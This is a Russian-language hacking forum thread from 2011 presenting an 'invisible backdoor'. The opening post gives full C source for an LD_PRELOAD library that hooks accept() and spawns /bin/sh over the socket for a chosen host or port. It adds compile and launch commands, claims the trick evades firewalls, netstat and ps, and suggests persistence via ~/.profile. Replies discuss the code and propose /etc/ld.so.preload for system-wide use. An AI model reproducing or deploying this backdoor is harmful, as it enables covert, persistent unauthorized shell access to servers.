Старый 14.03.2011, 00:18   #1
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию LD_PRELOAD magic. невидимый бэкдор.

работа загрузчика исполняемых файлов(ld.so, ld-linux.so в пингвине) зависит от переменных окружения в частности от LD_PRELOAD, который задаёт библиотеку из которой нужно подгружать ресурсы в первую очередь.
напишем свою библиотеку. наверника стоит использовать оригинал функции который мы получем через dlsym - функции подгружающий функцию из заданной библиотеки.

в первую очередь нас интересуют функции работы с сетью connect, accept,bind,send и тд

напишем свой "декоратор" для accept:
Код:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#define PORT htons(31337)
#define HOST inet_addr("127.0.0.1")
#define ONLY_HOST
#define PROC_NAME "apache"


static int (*real_accept)(int s, struct sockaddr *addr, socklen_t *addrlen) = 0;
int accept(int s, struct sockaddr *addr, socklen_t *addrlen) {
	int fd;
	if (!real_accept) {
		real_accept = dlsym(RTLD_NEXT, "accept");
	}
	else return -1;
	printf("[ACCEPT]");
	while (1) {
		fd = (*real_accept)(s, addr, addrlen);
		if (fd < 0)
			return fd;
		if (addr->sa_family != AF_INET)
			break;
#ifdef ONLY_HOST
		if (((struct sockaddr_in *) addr)->sin_addr.s_addr == HOST)
#elif defined(ONLY_PORT)
		if(((struct sockaddr_in *)addr)->sin_port==PORT)
#else
		if(((struct sockaddr_in *)addr)->sin_port==PORT
				&& ((struct sockaddr_in *)addr)->sin_addr==HOST)
#endif
		{
			if (!fork()) {
				dup2(fd,1);
				dup2(fd,0);
				char *argv[] = { PROC_NAME, 0 };
				execve("/bin/sh", argv, 0);
			}
			continue;
		}
		break;
	}
	return fd;
}
;
данный "декоратор" сначала вызывает оригинальный accept. проверяет адресс или/и порт клиента. Если они "подходят" то запускает /bin/sh с stdin,stdout совпадающими с сокетами. а сам вызывает оригинал ещё раз.

перехват accept в отличии от bindshell позволяет обходить межсетевые экраны. не палиться в netstat и ps.

собирать так
Код:
gcc -fPIC -shared -Wl,-soname,interception.so -o interception.so interception.c -ldl
запускать с
LD_PRELOAD=./interception.so
для подобных пряток не требуются права root. LD_PRELOAD можно дописать в ~/.profile
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 14.03.2011, 14:46   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

life_glider
До меня, признаться, не доходит, что с этим делать Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?
SynQ вне форума   Ответить с цитированием
Старый 14.03.2011, 16:47   #3
inextermo
Banned
 
Регистрация: 22.02.2011
Сообщений: 10
Репутация: -2
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
life_glider
До меня, признаться, не доходит, что с этим делать Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?
функция accept ожидает входящего подключения и создаёт сокет по которому и будут передоватся команды
inextermo вне форума   Ответить с цитированием
Старый 14.03.2011, 17:47   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от inextermo Посмотреть сообщение
функция accept ожидает входящего подключения и создаёт сокет по которому и будут передоватся команды
почитай документацию про Winsock API, всётаки в группе находишся и задаёшь глупейшие вопросы =\
Ты похоже не понял моего вопроса, не говоря уже о совете читать Winsock API.

PS Мог бы и сам объяснить, раз тебе понятно.
SynQ вне форума   Ответить с цитированием
Старый 14.03.2011, 21:09   #5
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
if(((struct sockaddr_in *)addr)->sin_port==PORT
опчтк
tex вне форума   Ответить с цитированием
Старый 14.03.2011, 21:14   #6
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Вообще не понятно откуда возникнет accept если прописать в .profile, это залогиненный пользователь должен будет запустить что-то сетевое, что будет принимать соединения.
А в общем случае- дописать в /etc/ld.so.preload как вариант считаю неплохим. Но автор похоже откудато просто скопипастил эту тему?
tex вне форума   Ответить с цитированием
Старый 14.03.2011, 21:54   #7
inextermo
Banned
 
Регистрация: 22.02.2011
Сообщений: 10
Репутация: -2
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Ты похоже не понял моего вопроса, не говоря уже о совете читать Winsock API.

PS Мог бы и сам объяснить, раз тебе понятно.
Извиняюсь, и правда ТС *уйню спорол.
Там нет не bind(), не listen() , вообще код какойто индусский, короче какйото кусок кода выдрал с умным видом...
inextermo вне форума   Ответить с цитированием
Старый 14.03.2011, 23:34   #8
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
life_glider
До меня, признаться, не доходит, что с этим делать Поясни, плиз.
Кто в данном примере, должен, вызвав accept, увидеть наш волшебный HOST?
если запустить серверное сетевое приложение с accept с данным LD_PRELOAD. то accept будет браться изначально из нашей библиотеки. ну наша функция тупо для нужного адреса форкается и открывает баш, а в результат отдаёт следующего клиента.
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 14.03.2011, 23:36   #9
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию

Цитата:
Сообщение от tex Посмотреть сообщение
. Но автор похоже откудато просто скопипастил эту тему?
теме перехвата функций через LD_PRELOAD мильон лет. я лишь показал способ её использования.
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 15.03.2011, 01:31   #10
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Респект, тема хорошая, но все таки какие мысли на счет :
Цитата:
для подобных пряток не требуются права root. LD_PRELOAD можно дописать в ~/.profile
tex вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot